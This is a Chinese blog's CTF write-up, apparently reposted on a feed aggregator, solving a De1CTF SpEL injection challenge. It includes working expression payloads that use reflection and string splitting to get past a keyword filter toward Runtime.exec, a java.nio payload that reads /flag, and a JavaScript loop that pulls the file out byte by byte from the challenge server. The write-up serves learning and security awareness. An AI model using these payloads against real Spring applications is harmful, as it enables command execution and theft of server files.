惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
爱范儿
爱范儿
J
Java Code Geeks
L
LangChain Blog
V
V2EX
大猫的无限游戏
大猫的无限游戏
S
SegmentFault 最新的问题
博客园 - Franky
Microsoft Azure Blog
Microsoft Azure Blog
Jina AI
Jina AI
Blog — PlanetScale
Blog — PlanetScale
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
The Cloudflare Blog
博客园 - 司徒正美
B
Blog
G
Google Developers Blog
Stack Overflow Blog
Stack Overflow Blog
罗磊的独立博客
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Apple Machine Learning Research
Apple Machine Learning Research
Engineering at Meta
Engineering at Meta
MyScale Blog
MyScale Blog
有赞技术团队
有赞技术团队
Hugging Face - Blog
Hugging Face - Blog

Yesterday17's Blog

2026 新年解密红包 / Melody Flag | Yesterday17's Blog 谈谈 Iori 的设计思路(二):如何实现一个 Showroom 录制工具? | Yesterday17's Blog 谈谈 Iori 的设计思路(一):从 Nico Timeshift 说起 | Yesterday17's Blog Iori Minyami 0.1.0 发布 | Yesterday17's Blog 2025 新年解密红包 / Melody Flag | Yesterday17's Blog 使用 Cloudflare Warp 解决罗森票务的海外登录问题 | Yesterday17's Blog How To Blog 04: The Astro v5 Era | Yesterday17's Blog 谈谈 tokio::select! 的公平性 | Yesterday17's Blog Learning Pingora 05 - Connect with TLS | Yesterday17's Blog Leaving Bytedance | Yesterday17's Blog 大橋彩香 AsiaTour「Reflection」上海公演 个人向记录 & Repo | Yesterday17's Blog Recoving from burnout - What happened? | Yesterday17 Yubikey 重建手册 | Yesterday17's Blog How To Blog 03: Heimus | Yesterday17's Blog 🪧 Blog Migration Accouncement | Yesterday17's Blog Learn Your IDE - VSCode 是如何仅重启插件的? | Yesterday17's Blog How To Blog 02: Astro❤️Password | Yesterday17's Blog How To Blog 01: Why, How, and the Future | Yesterday17's Blog Learning Pingora 04 - Establish L4 Connection | Yesterday17's Blog Learning Pingora 03 - Upstreams and Peers | Yesterday17's Blog Learning Pingora 02 - A Simple HTTP Server | Yesterday17's Blog Learning Pingora 01 - Getting Started | Yesterday17's Blog 2024 新年解密红包 / Melody Flag | Yesterday17's Blog 向新的一年飞驰——记录 2023 | Yesterday17's Blog 「サクラノ刻」对话选摘(2) | Yesterday17's Blog PGP Key Revocation 注销声明 | Yesterday17's Blog 「サクラノ刻」对话选摘(1) | Yesterday17's Blog 2023 新年解密红包 / Melody Flag | Yesterday17's Blog 『蒼の彼方のフォーリズム』通关感想 | Yesterday17's Blog 单显卡直通教程 | Yesterday17's Blog
[CTF] SpEL 表达式与文件读取 | Yesterday17's Blog
Yesterday17 · 2020-05-04 · via Yesterday17's Blog

摸了这次的 De1CTF,深感自己知识积累不够。这次解出的唯一一道 Web 题是 SpEL 注入题,我们就从这道题入手来了解一下吧(

ToC

  • 题面
  • SpEL 简介
    • 数组
      • 不可修改
      • 可修改
    • Map
    • [] 运算符
    • new
    • T(class)
  • 构造尝试:java.lang.Runtime
    • 绕过 T(
    • 获取 getRuntime
    • exec
  • 构造尝试:java.nio
    • 文件读取
    • 获取内容
      • 逐字符获取
      • 直接转换
  • 总结
  • 参考

题面

题目描述如下:

Please calculate the content of file /flag

http://tounikaku_server_addr/

题目本体给的是一个计算器:

经过观察,发现本质是调用 /spel/calc 进行计算:

其实这里的 spel 已经算是提示了,但第一次接触并看不出来.jpg((,所以到了接口先试了一下 xjb 表达式:

搜了一下 EL1044E,确认是 SpEL 了。

SpEL 简介

SpEL,全程 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:

数组

不可修改

不可修改的数组可以通过 {a, a, b} 实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList

可修改

数组可以通过 {a, b + c} 实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable 了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList

值得注意的是,这里可以通过 ArrayList.toArray() 生成 Object[]

Map

Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMapjava.util.LinkedHashMap。创建的格式类似 JSON,这里就直接略过了。

[] 运算符

[] 运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值

整体语法和 JS 类似,但是有一些例外。对于 String 而言,[] 只能通过下标访问字符,因此 ''['class'] 会报错而 ''.class 没有问题。

(不知道是不是这道题的问题,待确认

new

在 SpEL 中可以通过 new 来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new,因此题解中并没有用到。

T(class)

使用诸如 T(java.lang.Runtime) 的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(,因此本题没有用到。

构造尝试:java.lang.Runtime

首先是测了一下 WAF 过滤的内容:

  • java.lang
  • new
  • getClass
  • T(
  • #
  • String
  • getMethod('exec').invoke()
  • Runtime
  • exec(

绕过 T(

由于 T( 被限制,因此我们需要通过另一种方式绕过 T(。这里我们使用的是 forName

''.class.forName('java'+'.lang.R'+'untime')

获取 getRuntime

由于 getRuntime 存在被过滤单词,因此只能通过反射获取方法:

''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))

成功获得 Runtime 实例:

exec

使用类似的方法构造 exec,并尝试执行:

''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')

然而,执行的结果表明:使用了 openrasp

由于 openrasp 不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。

构造尝试:java.nio

文件读取

得到了 @SeraphJack 的指点
得到了 @SeraphJack 的指点

这里尝试通过 java.nio 直接读取文件。题目告诉我们要去 /flag 读,因此只要尝试读取 /flag 的内容就可以了。

''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))

这里直接返回了一个 byte[],看来是成功了。

获取内容

逐字符获取

通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:

arr = [];

func = i =>

fetch(

"http://106.52.164.141/spel/calc?calc=" +

escape(

`''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]`

)

)

.then(t => t.text())

.then(t => arr.push(String.fromCharCode(t)));

for (let i = 0; i < 44; i++) await func(i);

(然而之前翻车了

最终正常拼接得到结果。

直接转换

依然是得到了指点(

尝试用这种方法获取字符串:

直接就读出来了(

总结

嘛,总之这题应该算是 SpEL 的入门题吧考验的还是 Java 功底。题中直接给出了 SpEL 的执行环境,而不是要靠我们去发掘。这至少告诉了我们在做 Java 题的时候还有这样一种注入手段,也是我们在使用 Spring 时所需要留意的,除去 SQL 注入的另一种注入漏洞。

参考